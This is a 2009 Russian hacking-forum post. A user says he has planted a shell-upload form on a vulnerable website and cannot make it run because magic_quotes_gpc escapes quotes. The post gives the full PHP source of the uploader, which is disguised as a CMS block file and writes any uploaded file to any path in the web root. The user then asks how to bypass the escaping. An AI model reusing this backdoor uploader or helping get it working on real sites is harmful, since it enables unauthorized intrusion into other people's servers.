ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Возникли проблемы с magic_quotes
  #1  
Старый 17.03.2009, 23:27
Аватар для Jorge_
Jorge_
Новичок
Регистрация: 30.12.2008
Сообщений: 3
Провел на форуме:
58906

Репутация: 0
По умолчанию Возникли проблемы с magic_quotes

Загрузил на уязвимый сайт форму для загрузки шела, но вместо формы, вылетают ошибки вида:

Код:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 11

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/local/www/blocks/block-form.php on line 12
Сам скрипт формы:

PHP код:
<?php
if (!defined('BLOCK_FILE')) {
 
Header("Location: ../index.php");
 exit;
}

$self stripslashes($_SERVER['PHP_SELF']);
$docr stripslashes($_SERVER['DOCUMENT_ROOT']);
$sern stripslashes($_SERVER['SERVER_NAME']);
$tend "</tr></form></table><br><br><br><br>";
if (!empty(
$_GET['ac'])) {$ac stripslashes($_GET['ac']);}
elseif (!empty(
$_POST['ac'])) {$ac stripslashes($_POST['ac']);}
else {
$ac "upload";}
switch(
$ac) {
case 
"upload":
echo <<<HTML
<table>
<form enctype=multipart/form-data action=
$self method=POST>
<input type=hidden name=ac value=upload>
<tr>
<input size=5 name=file type=file></td>
</tr>
<tr>
<td><input size=10 value=
$docr name=path type=text><input type=submit value=ОК></td>
$tend
HTML;
if (isset(
$_POST['path'])){
$uploadfile stripslashes($_POST['path'].$_FILES['file']['name']);
if (
$_POST['path']==""){$uploadfile $_FILES['file']['name'];}

if (
copy($_FILES['file']['tmp_name'], $uploadfile)) {
    echo 
"Файл  ".$_FILES['file']['name']."  загружен";
} else {
    print (
"Не удаётся загрузить файл. Инф:\n");
    
print_r($_FILES);
}
}
break;
}
?>
На сервере установлено расширение magic_quotes_gpc.

Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[99.7%] решение проблемы с icq AlexV ICQ 88 25.01.2009 13:31
Основные проблемы, связанные с железом. last_root Аппаратное обеспечение 11 15.01.2009 13:21
Проблемы в IPDBrute2 lite [Ar3s] ICQ 4 01.11.2006 13:09
Возникли проблемы в работе альтернативных клиентов Icq dinar_007 Мировые новости 4 11.02.2006 13:19
Я думал это у меня проблемы Wildcats Мировые новости 5 26.05.2005 08:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ